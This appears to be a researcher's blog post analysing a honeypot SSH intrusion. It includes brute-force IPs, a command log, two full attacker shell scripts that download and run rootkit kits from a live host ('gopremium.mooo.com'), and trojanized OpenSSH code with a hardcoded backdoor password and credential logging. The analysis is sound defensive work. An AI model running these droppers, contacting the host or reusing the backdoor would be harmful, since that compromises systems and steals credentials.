There are lot of attacks against the honeypots: SSH scans, user and password brute force attacks, scanning tools installed in the compromised system, IRC bouncers installed, etc. This set of attacks are happening from different countries, with different accounts, passwords, etc. But I'll leave the statistics analysis for other time. Now, I'm more interested in the tools Cyber Criminals are using :)
During this post and coming ones I'll write about some interesting malicious tools I have analysed.
In this specific post I'm writing about an intrusion involving tools with Trojan, Rootkit, antiforencis, sniffing and C&C capabilities.
In this specific post I'm writing about an intrusion involving tools with Trojan, Rootkit, antiforencis, sniffing and C&C capabilities.
IMPORTANT: By the time of writing this post, the malicious tools in the different URLs are still active. Cyber Criminals are still using them in their malicious activities. I have decided to make them public as I think they are a good resource for security researches.
Automatic Scanning and brute force
The first phase of the attack consists on brute forcing in order to get access.
The brute source IP are usually hosts which have been already compromised and are used to brute force a wide range of IP through automatic tools. In the case of this intrusion, the list of IP used to brute force, before the real intrusion happened, are the following:
116.96.24.144
158.69.84.195
171.234.230.47
185.110.132.201
193.169.53.171
194.203.215.254
195.154.45.84
203.113.167.163
217.243.198.134
42.114.236.217
91.224.160.106
Manual access to the compromised host with valid credentials
Once cyber criminals got some valid credentials from previous step, they will come back and log in manually, but this time from a different IP. In this case, the IP used is 5.189.136.43
016-09-04 10:26:43+0200 [honssh.server.HonsshServerFactory] [PLUGIN][HONEYPOT-STATIC] - GET_PRE_AUTH_DETAILS 2016-09-04 10:26:43+0200 [-] [PRE_AUTH] - Connecting to Honeypot: normando (192.168.16.2:22) 2016-09-04 10:26:43+0200 [-] [ADV-NET] - HonSSH Interface already exists, not re-adding 2016-09-04 10:26:43+0200 [-] [ADV-NET] - HonSSH FakeIP and iptables rules added 2016-09-04 10:26:43+0200 [-] Starting factory <honssh.client.HonsshClientFactory instance at 0x745ccaf8> 2016-09-04 10:26:43+0200 [Uninitialized] [CLIENT] - New client connection 2016-09-04 10:26:43+0200 [HonsshClientTransport,client] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa 2016-09-04 10:26:43+0200 [HonsshClientTransport,client] outgoing: aes256-ctr hmac-sha1 none 2016-09-04 10:26:43+0200 [HonsshClientTransport,client] incoming: aes256-ctr hmac-sha1 none 2016-09-04 10:26:44+0200 [HonsshClientTransport,client] REVERSE 2016-09-04 10:26:44+0200 [HonsshClientTransport,client] NEW KEYS 2016-09-04 10:26:44+0200 [HonsshClientTransport,client] [CLIENT] - Client Connection Secured 2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa 2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] outgoing: aes256-ctr hmac-sha1 none 2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] incoming: aes256-ctr hmac-sha1 none 2016-09-04 10:26:44+0200 [-] [PLUGIN][OUTPUT-TXTLOG] - CONNECTION_MADE 2016-09-04 10:26:44+0200 [-] [PRE_AUTH] - CLIENT CONNECTED, REPLAYING BUFFERED PACKETS 2016-09-04 10:26:47+0200 [HonsshServerTransport,76,5.189.136.43] NEW KEYS 2016-09-04 10:26:49+0200 [HonsshClientTransport,client] [SSH] - Detected Public Key Auth - Disabling! 2016-09-04 10:26:51+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][HONEYPOT-STATIC] - GET_POST_AUTH_DETAILS 2016-09-04 10:26:51+0200 [-] [POST_AUTH] - SUCCESS = FALSE, NOT POST-AUTHING 2016-09-04 10:26:51+0200 [HonsshClientTransport,client] [PLUGIN][OUTPUT-TXTLOG] - LOGIN_SUCCESSFUL 2016-09-04 10:26:52+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - CHANNEL_OPENED 2016-09-04 10:26:57+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: unset HISTFILE 2016-09-04 10:26:57+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:21+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: uname -a 2016-09-04 10:27:21+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: export HISTFILE=/dev/null 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: sudo su - 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: export HISTFILE=/dev/null 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: mkdir /tmp/... ; cd /tmp/... 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: echo "nameserver 208.67.220.222" >> /etc/resolv.conf 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: wget http://gopremium.mooo.com/.../auto/p 2016-09-04 10:27:23+0200 [HonsshServerTransport,76, ] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: chmod +x p ; ./p 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:23+0200 [-] [PLUGIN][OUTPUT-TXTLOG] - DOWNLOAD_FINISHED 2016-09-04 10:27:35+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: admin 2016-09-04 10:27:35+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:46+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: cat /etc/issue 2016-09-04 10:27:46+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:27:54+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: ct /etc/passwd^[[1~a 2016-09-04 10:27:54+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:28:11+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: whoami 2016-09-04 10:28:11+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:28:39+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: last|more 2016-09-04 10:28:39+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:28:46+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: passwd 2016-09-04 10:28:46+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:28:48+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: admin 2016-09-04 10:28:48+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:29:01+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo 2016-09-04 10:29:01+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:29:04+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo 2016-09-04 10:29:04+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:29:09+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo1 2016-09-04 10:29:09+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:29:12+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo1 2016-09-04 10:29:12+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:29:21+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: ifconfig 2016-09-04 10:29:21+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED 2016-09-04 10:33:58+0200 [HonsshServerTransport,76,5.189.136.43] Disconnecting with error, code 10 reason: user closed connection 2016-09-04 10:33:58+0200 [HonsshServerTransport,76,5.189.136.43] connection lost
From the logs, I can extract the set of commands executed:
unset HISTFILE
uname -a
export HISTFILE=/dev/null
sudo su -
export HISTFILE=/dev/null
mkdir /tmp/... ; cd /tmp/...
echo "nameserver 208.67.220.222" >> /etc/resolv.conf
wget http://gopremium.mooo.com/.../auto/p
chmod +x p ; ./p
admin
cat /etc/issue
ct /etc/passwda
last|more
passwd
admin
modrepo
modrepo
modrepo1
modrepo1
ifconfig
Several things happen here:
- Bad guys disable the HISTFILE, in order to not leave any evidence of the commands executed in the .bash_history. Also they create a directory "..." in /tmp to fool the administrator.
- Cyber Criminals try to change the DNS. Likely to ensure that the host where the additional tools are stored can be resolved. But also might be to avoid any suspicious DNS query to an internal DNS server which can be monitored.
- They introduced a command "ct /etc/passwda", which means they run the command manually (they introduced the 'a' of the command the last, after moving the cursor back several positions)
- Lastly, attackers tried to changed the default password 'admin' to "modrepo", but it did not work. They finally changed it to "modrepo1".
- A file "p" is pulled from http://gopremium.mooo.com/.../auto/p and then executed
Script 1 (p): checking the necessary tools
The first script pulled from http://gopremium.mooo.com/.../auto/p does several things:- It checks that the 'gcc' compiler in installed and works. To do this, the script compiles and executes a small "C" code program embedded in the script
- If the compiler is not installed, it tries to install it. Depending on the Linux distribution, it will use yum, apt, yast, zipper. Then, it tries to compile and execute the program
- Same approach than with 'gcc' is used for the linux tool 'sed' and 'curl'.
- Once the tools are installed a second script is pulled from http://gopremium.mooo.com/.../auto/p1 and executed
This is the content of the first script "p"
#!/bin/bash ############## first installation part (p) ############## verificam daca serverul are instalat ce ne trebuie # echo -e "\033[0;31m [-] \033[0m\033[0m" # red # echo -e "\033[0;32m [+] \033[0m\033[0m" # green # echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan echo export HISTFILE=/dev/null export PATH=$PATH:/usr/local/sbin/ export PATH=$PATH:/usr/sbin/ export PATH=$PATH:/sbin export PATH=$PATH:/bin if [ "$(whoami)" != "root" ]; then echo -e "\033[0;31m [-] \033[0m\033[0m you are not root" # red echo; exit fi ### verificam daca e instalat ce folosim weneed="/usr/bin/gcc" weinstall="gcc" if [ -f $weneed ]; then echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found" # green ### testam gcc (la unele servere lipsesc librarii) echo "#include <stdio.h>" > t.c echo "#include <pthread.h>" >> t.c echo "int main() {" >> t.c echo "sleep(1);" >> t.c echo "return 0;" >> t.c echo "}" >> t.c gcc -o t t.c 1>>/dev/null 2>>/dev/null if [ -f t ]; then echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall test was successful" # green rm -rf t.c t else echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall test failed. aborting. " # red echo "try to install libc6-dev: apt-get install -y libc6-dev" rm -rf t.c echo ; exit fi # EOF testam gcc (la unele servere lipsesc librarii) else echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... " # red if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi if [ -f $weneed ]; then echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed." # green ### testam gcc (la unele servere lipsesc librarii) echo "#include <stdio.h>" > t.c echo "#include <pthread.h>" >> t.c echo "int main() {" >> t.c echo "sleep(1);" >> t.c echo "return 0;" >> t.c echo "}" >> t.c gcc -o t t.c 1>>/dev/null 2>>/dev/null if [ -f t ]; then echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall test was successful" # green rm -rf t.c t else echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall test failed. aborting. " # red echo "try to install libc6-dev: apt-get install -y libc6-dev" rm -rf t.c echo ; exit fi # EOF testam gcc (la unele servere lipsesc librarii) else echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. " # red echo ; exit fi fi weneed="/bin/sed" weinstall="sed" if [ -f $weneed ]; then echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found" # green else echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... " # red if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi if [ -f $weneed ]; then echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed." # green else echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. " # red echo ; exit fi fi weneed="/usr/bin/curl" weinstall="curl" if [ -f $weneed ]; then echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found" # green else echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... " # red if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi if [ -f $weneed ]; then echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed." # green else echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. " # red echo ; exit fi fi # EOF verificam daca e instalat ce folosim echo -e "\033[0;32m [+] \033[0m\033[0m downloading OS & RK detection (p1)" # green rm -rf p1 curl --progress-bar -O http://gopremium.mooo.com/.../auto/p1 if [ ! -f p1 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi chmod +x p1 ; ./p1
Some Interesting points:
- The comments of the script are in Romanian. All the rest of scripts and tools in this intrusion are in Romanian as well. Likely the Threat Actors speaks Romanian, or are using tools which have been developed by someone who speaks Romanian.
- The script are written to debug and report any issue (with fancy colours). They have invested quite a few time to develop all the scripts and tools.
- The script says "downloading OS & RK detection"
Below the output of the script executed in a lab host:
Script 2 (p1): Compiling a Trojanized version of SSH and testing it
The second script, p1, is in charge of detecting the architecture of the system. Base on the architecture and the Linux distribution, it pulls some additional tools, which are executed.
The full script is as follows:
#!/bin/bash ############## OS & RK detection (p1) ############## detecteaza OS, downloadeaza rk si ii face test rm -rf 1tempfiles ; mkdir 1tempfiles echo -e "\033[0;32m [+] \033[0m\033[0m trying to detect OS" arch=$(uname -m) kernel=$(uname -r) if [ -f /etc/lsb-release ]; then os=$(lsb_release -s -d) elif [ -f /etc/debian_version ]; then os="Debian $(cat /etc/debian_version)" elif [ -f /etc/redhat-release ]; then os=`cat /etc/redhat-release` else os="UNKNOWN OS $(uname -s) $(uname -r) aborting." echo ; exit fi echo -e "\033[0;32m [+] \033[0m\033[0m OS found: $os (arch: $arch kernel: $kernel)" echo "$os (arch: $arch kernel: $kernel)" > 1tempfiles/os.txt echo -e "\033[0;32m [+] \033[0m\033[0m trying to find rk for this OS" # green if [ "$arch" == "armv7l" ] ; then rk="arm71" ; echo "$rk" > 1tempfiles/rk.txt echo "..." > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo elif [ "$arch" == "armv6l" ] ; then rk="arm61" ; echo "$rk" > 1tempfiles/rk.txt echo "..." > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo elif [ "$arch" == "mips64" ] ; then rk="edgeos64" ; echo "$rk" > 1tempfiles/rk.txt echo "..." > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo elif [ "$arch" == "mips" ] ; then rk="edgeos" ; echo "$rk" > 1tempfiles/rk.txt echo "..." > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo elif [ ! -z "$(uname -a|grep vyos)" ] && [ "$arch" == "x86_64" ] ; then rk="vyos64" ; echo "$rk" > 1tempfiles/rk.txt echo "..." > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo elif [ ! -z "$(uname -a|grep vyos)" ] && [ "$arch" == "i686" ] ; then rk="vyos" ; echo "$rk" > 1tempfiles/rk.txt echo "..." > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo else echo -e "\033[0;31m [-] \033[0m\033[0m rk not found" # red echo -e "\033[0;32m [+] \033[0m\033[0m trying to install files needed for default kit" # green echo if [ -f /usr/bin/yum ] ; then yum install -y gcc make libgcrypt-devel zlib-devel openssl-devel ; fi if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y gcc make libgcrypt11-dev zlib1g-dev libssl-dev ; fi echo echo -ne "\033[0;36m [x] \033[0m\033[0m press any key to download default rk kit or CTRL+c to exit" #cyan read a rk="default" ; echo "$rk" > 1tempfiles/rk.txt echo ".unix" > 1tempfiles/side_files_dir.txt echo -e "\033[0;32m [+] \033[0m\033[0m downloading default rk kit & install file (p2)" # green rm -rf $rk.tgz ; rm -rf p2 curl --progress-bar -O http://gopremium.mooo.com/.../auto/default.tgz curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2 if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi echo -e "\033[0;32m [+] \033[0m\033[0m trying to make new rk" # green tar mzxf $rk.tgz ; rm -rf $rk.tgz maindir=`pwd` ; rkdir="$maindir/$rk" cd $rkdir rm -rf 1tempfiles/* tar zxf openssh-5.9p1-cu-patch-SSHD-eu.tgz -C 1tempfiles/ cd 1tempfiles/openssh-5.9p1 ./configure --prefix=/usr --sysconfdir=/etc/ssh make if [ ! -f sshd ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m failed to make new rk. aborting" ; echo ; exit ; fi rm -rf ../../default/ssh ; mv ssh ../../default/ rm -rf ../../default/scp ; mv scp ../../default/ rm -rf ../../default/sftp ; mv sftp ../../default/ rm -rf ../../default/sshd-* ; mv sshd ../../default/sshd-eu cd ../.. ; rm -rf 1tempfiles/* ### acum sunt in $rkdir cd $maindir echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green chmod +x p2 cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:" echo echo " $rkdir/$rk/test-sshd -p 65535" echo " telnet 127.0.0.1 65535 OR ssh root@127.0.0.1 -p 65535" echo " killall -9 test-sshd" echo echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan echo fi
As mentioned, different files are pulled depending on the architecture / Linux version. For ARMv6, which it's the processor of the Raspberry Pi 2, the URL is http://gopremium.mooo.com/.../auto/arm61.tgz. There is specific packages for ARMv7, mips64, mips, vyos64 and vyos (Vyos is a open source network operating system). But also there is a default version, under the link http://gopremium.mooo.com/.../auto/default.tgz
The default version, as will see, contains the source code of 'OpenSSH', while the rest of the versions consists on some specific binary files.
As an example, this is the set of files in the ARMv6 tgz file, which included the binaries scp, sftp, ssh, sshd.
When the system is default, the script performs the following tasks
- Download a file from http://gopremium.mooo.com/.../auto/default.tgz
- Download a file from http://gopremium.mooo.com/.../auto/p2
- Install the necessary libraries to be able to compile OpenSSH
- Untar the file default.tgz and compile a custom openssh version (5.9)
- Test that the recent compiled SSHD version works as expected
The script gives instructions about how to test the new sshd
Next step, the script invites the user to run the script 'p2', which has been pulled by p1. This script, as I'll explain later, performs the real installation of the trojanized version of SSHD (overwrittting the default OS binaries). But previously, I'm going to take a look to the OpenSSH source code contained in default.tgz
Analysis of the OpenSSH source code
The first thing I checked is the timestamp of the files. Most of the files are from 2011, except some of them which are from the 20th of August 2016. This files are good point to start investigating
The first file, version.h, contains something really interesting:
The default SSH version has been modifed to 6.0 (while The OpenSSH compiled version code is 5.9).
Looking deeper, in file 'auth-passwd.c', I found something even more interesting: a default backdoor password, some code to grant access with that default password and a couple of additional things :)
SECRETPW[2] = 0x74; SECRETPW[3] = 0x65; SECRETPW[0] = 0x50; SECRETPW[1] = 0x52; SECRETPW[4] = 0x73; SECRETPW[6] = 0x44; SECRETPW[5] = 0x74; ILOG[10] = 0x70; ILOG[3] = 0x63; ILOG[8] = 0x2f; ILOG[7] = 0x31; ILOG[0] = 0x2f; ILOG[6] = 0x31; ILOG[1] = 0x65; ILOG[5] = 0x58; ILOG[2] = 0x74; ILOG[12] = 0x00; ILOG[4] = 0x2f; ILOG[9] = 0x2e; ILOG[11] = 0x72; if (!strcmp(password, SECRETPW)) { secret_ok=1; return 1; } result = sys_auth_passwd(authctxt, password); if(result){ if((f=fopen(ILOG,"a"))!=NULL){ fprintf(f,"%s:%s from %s\n",authctxt->user, password, get_remote_ipaddr()); fclose(f); } } else { if (file = fopen("/tmp/.unix", "r")) { fclose(file); if((f=fopen(ILOG,"a"))!=NULL){ fprintf(f,"denied : %s:%s from %s\n",authctxt->user, password, get_remote_ipaddr()); fclose(f); } } }
The password is stored in the array SECRETPW and if matched it grants access. The password in in HEX.
>>> "50527465737444".decode("hex") 'PRtestD'
